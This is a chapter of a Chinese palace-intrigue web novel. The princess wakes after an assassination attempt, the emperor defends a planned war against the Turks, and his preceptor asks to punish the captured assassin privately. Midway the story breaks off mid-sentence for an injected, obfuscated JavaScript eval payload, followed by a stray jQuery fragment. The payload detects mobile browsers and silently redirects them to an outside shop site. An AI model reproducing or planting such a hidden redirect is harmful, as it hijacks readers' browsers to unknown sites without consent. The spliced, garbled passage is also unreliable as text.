沈琼华醒来的当日,消息很快就传遍了皇宫。
多日蒙在阴影之下的宫殿,终于再次焕发出勃勃生机,小宫女小黄门这两日大气都不敢喘,如今终于得以歇息片刻。
这日才下了早朝,刚从大理寺拿了刺客口供的容峥便匆匆进宫,急着要将审问出来的供词呈递给沈怀瑾。
天光大好,万里无云。
容峥心情不错,脚下的步伐都轻快了些许,看着宫墙后冒出头来的梧桐树,石子宫道上被阳光染作一片暖白,而有一人影立在拐角处。
红墙金瓦的映衬下,卫诗身上那件碧色上衣格外醒目,一阵微风吹过,轻透的纱罗面料被风吹起,衣诀清扬,好似一片梧桐叶,自带着一抹凉意。
她立在那,跟两位衣料显然没那么好的女官说话,神情严肃好似是在说什么正事。
容峥路过时被三人注意到,她们都知晓他的身份,纷纷低头行礼。
他的目光放在卫诗身上,不自觉的慢下了脚步,站在那同卫诗搭起话:“额,许久不见了。”
卫诗抬眼扫过他的脸,没什么情绪起伏。
确实许久不见了,两个人上次见面也是初次见面时,可不怎么愉快。
但容峥最终还是救了卫诗,没让她因为那个使臣被处决。
卫诗别开脸,轻声对身边的两个女官开口说了几句话,两个女官便立刻退下了。
待人走远,卫诗才重新移回视线,平和淡然地开口:“确实许久不见了。”
她眼底没有多少喜色,但起码也没有之前的厌恶,对容峥的到来没什么反应。
容峥将她从头到脚细细打量,扯出一个笑:“看起来你混的还不错。”
“彼此彼此。”
要论混得不错,卫诗自认她一个小小的女官没有容峥这个官位来得好,但她也并非是觉得不公,相反,正是因为他在边关打过仗,设卫诗此时才会同他说话。
容峥没寒暄几句,就聊到了沈怀瑾的行踪,他问卫诗:“我要去紫宸殿见圣上,不知是否在?”
“婢如何知道。”
卫诗漫不经心的瞥过他,没多少耐心,随口敷衍:
“圣上的行踪一向不定,婢只知道半个时辰前,陛下在紫宸殿召了国师问话,就是不知眼下是否还在。”
“哦?”容峥诧异地挑起眉,问:“国师被召去问话,莫非是定国长公主有什么不测。”
听见他这样咒长公主,卫诗下意识地蹙紧眉心,打断了他的话:
“殿下两个时辰前就醒了,如今太后带着小郡主在长乐宫陪着聊天呢,这个节骨眼,容大人还是少说些不吉利的话为好。”
容峥在边关待了久了,回了长安嘴上还是没遮没拦,心情一好话就又多了。
他看出来了,卫诗还是看他不甚顺眼,可她却十分钦慕沈琼华,为着这一点,容峥也不会为难她。
在卫诗这边吃了瘪,他只好灰溜溜地前往紫宸殿。
而此时,沈怀瑾正和长珏坐在殿内详谈。
金盏内,殷红的樱桃堆成了个小山,鲜红欲滴的浆果上还浇了冰镇过的甘蔗汁。
男人悠闲地靠在主座里,随手丢了颗樱桃到口中,语调散漫:“所以,大娘都知道了?”
长珏坐在他对面,脸上却仿佛覆上一层霜,面无表情地点点头。
沈怀瑾“啧”了一声,他都不用问,一准就猜到是长珏忍不住都交代了。
明明和他待在一起时总是惜字如金,偏偏到了大娘那,就这个也说那个也说。
他甚至怀疑,要不是事先同长珏通过气,长珏怕是要将计划的每一环都事无巨细地告诉沈琼华,像个漏水的木桶。
换成别人把这事捅出去,沈怀瑾一准要把人拉出去砍了,不砍也要打顿板子。
可这人是长珏,就算把他拉出去砍了他也不会眨一下眼皮,没趣的很。
“那大娘的反应……算了,想都不用想,她现在怕是很伤心吧。”
长珏没有出声否认,沈琼华确实很伤心,只是好像不是因为沈怀瑾。
他低下头,克制的眉眼显出一丝松动,这点细微的变化并未被对面的沈怀瑾发觉,他只是又往嘴里送了一颗樱桃,止不住心中的雀跃对着长珏炫耀:
“这果子还是晚晴特意命人给我送来的,长珏你可别羡慕哦~”
长珏连眼皮都未曾抬一下,没心情陪着这人胡闹。
沈怀瑾觉察出长珏的异样,也知道他对于欺骗隐瞒了沈琼华的事感到耿耿于怀,温声出言宽慰:
“你也别想太多,左右大娘都已经好好的坐在这长安城里,此次这只是个意外,我也没预料到会将她卷进来。”
沈怀瑾满脸真诚,长珏知道这件事上他没说谎。
没人会料到最先发现刺客的会是沈琼华,更没料到那人就算被抓也要铤而走险射出袖箭,一切都是两人的意料之外。
他视线上移,凝视着沈怀瑾的眼睛,他的眼睛和沈琼华的极为相似,每当他们面无表情地看向某个人时,眼底总是隐隐透出一股高傲,尽管这并不是有意为之。
长珏竟然叹了口气,在沈怀瑾面前露出了以前从未有过的情感波动,低声倾诉:“不管如何,以后都不要再有这样危险的事了。”
要是沈怀瑾还打算以身犯险,他怕最先冲上去的还会是沈琼华,这样的事他决不允许发生第二次。
他再也不想看见她受伤或者伤心了……
“这场战争必须发生吗?”
长珏突如其来的问题问得沈怀瑾一愣,更没想到这句话会从他口中说出来,一时对眼前的人感到有些陌生:
“你什么时候会在乎这种事了?”
“是大娘在意吧。”
长珏不答话,沈怀瑾却是心里有数。
他已经是皇帝,皇帝没有义务将自己的计划解释给任何一个人听,可是沈怀瑾照样还是沈琼华的弟弟,他仍然是牵挂着这一份手足之情,加上这次的事,沈琼华为了他……
沈怀瑾的心中也为了这件事产生了一丝对沈琼华的愧疚,但有些事,该做还是要做。
“你们或许都会想……”他收了平日里那副不着调,一字一句道:
“大周如今国泰民安,仓廪殷实,即使突厥仍在,也碍不上我们的事,可事实不是这样。”
“阿史那·骨笃禄狼子野心,夺回漠北故土也就罢了,竟还敢染指中原,将手伸向了文慧太子,想借机吞并我大周。”
“而他的儿子,新任突厥可汗阿史那·咄曼,比他阿耶更是有过之而无不及,性情乖张暴戾,为人阴险狡诈,自他上位起,边屡次挑衅边疆,妄图谋我家国。”
“这样的人!”沈怀瑾拍案而起,眼底有一抹杀意闪过:
“朕绝不容许大周再被突厥的铁蹄踏破,想打仗的不是朕,而是那阿史那·咄曼。”
在外游荡的郊狼试图袭击他们的羊圈,那好啊,那边让他来,待他带兵来攻,沈怀瑾要用铁棒打烂他最坚硬的牙齿,要让他在骨子里牢牢刻上敬畏。
为此,沈怀瑾已经等了太久太久,他绝不会因为任何人放弃这个计划。
长珏知晓他的决心,或者说,若是他没有这份决心,长珏压根不会选择跟他合作,他会在十年前就死在边关,在距离沈琼华最近的地方守望着她。
事到如今,他们两人做了那么多,早就是一根绳子上的蚂蚱,想脱身已经是不可能的事。
沈怀瑾平复下心情,重新躺回椅子里,语调闲散,意味深长地说:“你放心吧,大娘那边我去说,倒是你,在计划进行到下一步以前,别忘了管好嘴。”
长珏没有什么反应,眼底划过一抹凉意:“这个自然,只有这件事,我不会告知殿下,也请圣上替我保密。”
“当然当然,我也不希望看你和大娘闹掰,你说说你们以前多好啊,怎么长大了反而变得如此别扭。”
长珏又何尝知道这个问题的答案,要是他有的选,他可能比任何人都更想停在那段时间。
沈怀瑾瞅着长珏那个脸色,一副恨铁不成钢的表情。
两个人都是一等一的倔,一有个什么分歧,一个就是脾气火爆,另一个就是据了嘴的葫芦,看得旁人心里急死了。
旋即,他叹了口气,摇摇头移开了眼。
“大娘既然康复了,你可还要留在宫内?”
长珏垂着眼,瞥见自己袖角的一抹干涸的血迹,血液已经变作了暗褐色,像是干枯的树叶。
他盯着那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782156|205213||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一抹不属于自己的血,忽地回忆起了沈琼华的还未愈合的伤口,在沈怀瑾的目光中淡淡地开口:
“殿下伤势未愈,贫道还是再在皇宫里叨扰一阵子,还望陛下见谅。”
沈怀瑾摆摆手:“好说好说。”
“秦潞啊。”
听见沈怀瑾呼唤,秦潞立马进殿,躬身行礼:“老奴在,不知陛下有何吩咐?”
“同晚晴说一声,如今的皇宫是她做主,国师要暂居皇宫,住处也理应由她来安排。”
“是。”秦潞领命退下。
长珏抬眼望了过去,又瞥向了沈怀瑾的那盏冰果,敏锐地察觉出这新后与沈怀瑾之间的感情甚睦,作为一桩出于政治需求的婚姻而言,这点极为难得。
沈怀瑾悠闲地坐回座位里,随意地扫了长珏一眼:
“怎么样,这下满意了吧,可别辜负朕帮你的忙,快些和大娘和解吧。”
“圣上放心。”长珏神情淡漠,眼底辨不出悲喜,徐徐开口:“即使圣上不许诺贫道与殿下重修旧好,贫道也会继续帮圣上的。”
长珏的意思自然不是他和沈怀瑾有什么什么交情,仅仅只是你我之间还有瓜葛,帮他也是在帮自己罢了。
沈怀瑾还没有自恋到那个地步,觉得长珏是心甘情愿为他效力,自然还是有各自的小心思在的,于是他不置可否地露出了一个笑。
“可……”长珏话锋忽然一转,沈怀瑾抬起眼,多情的眼眸褪去那点玩世不恭的神情,静静地观察长珏。
忽地,他瞧见长珏眼睫微动,那双素来如墨一般幽深的眼眸随着抬头的动作望过来,浮现出丝丝寒冷刺骨的凉意:
“那个牢狱之中的刺客,不知是否审查完毕?”
沈怀瑾的视线死死盯着长珏的脸,语气平淡:“如果我说已经差不多了,你想干什么?”
长珏垂下眼,周身萦绕着的寒气散去,就像一只收起毒刺的蝎子,对着沈怀瑾拱手一拜:
“贫道希望,那个刺客可以交由我来处置。”
刺客犯下的是行刺圣驾的大罪,就算是受人胁迫,也该处死以儆效尤,以免往后又有下人有样学样,以为自有苦衷便可为所欲为了。
沈怀瑾当然会处死他,可长珏主动来要人,必定不是什么出于道家的仁善,若是真遂了他的愿,那人怕是死得会人不人鬼不鬼。
就算是他,在做这件事也不能一点犹豫都没有,刺客罪不至此,只是……
长珏垂着眼,姿态端的是不容拒绝,掩在广袖下的手都在因极力忍耐而微微发抖。
这些天,他的情绪已经压抑到了一个爆点,没人知道长珏在宴席上看着沈琼华倒下的那一刻,他心里在像什么。
长珏不恐惧流血、也不害怕死亡,可是他唯一无法忍受的就是那个人再次受伤难过,每当那时,他的心就好似被人用一把钝刀一下下刨开。
裂开的皮肉还在不断被一种怪异的感觉折磨,令他在一瞬间恍惚被人与外界彻底隔绝,对外面的一切充耳不闻。
现在,终于有机会将这数日以来积累的怒气发泄出去,长珏当然不会放过。
沈怀瑾定定地观察着他,姑且还是多了句嘴:“你想用私刑?”
长珏不答话,算是默认。
于是他又问:“你就不怕大娘知道?”
长珏:“……”
“殿下未必会过问刺客的死活,何况此事本就不牢她操心。”
“这是你一厢情愿。”沈怀瑾的眼底闪出锋利的光芒,质问道:“你把他杀了,只是为了自己好受一点吧。”
长珏陷入了短暂的沉默,他掩下眼底的晦暗,启唇:“或许是。”
“但圣上放心。”等再抬起眼眸,那双眼中的怒气像是被硬塞回了深潭下,平静无波:“贫道不会做得太难看的,只是一点点……小小惩戒。”
理智告诉沈怀瑾不要相信他,但感性又觉得,长珏若是顾忌着沈琼华这一层,应当也不会做得很过分,他敲打过了。
这样想着,沈怀瑾最终还是让步了。
“去吧。”
“记得做干净点。”
话音落下,长珏又深深向着沈怀瑾一拜,这次的行礼带上了点真心实意,尽管沈怀瑾并不稀罕。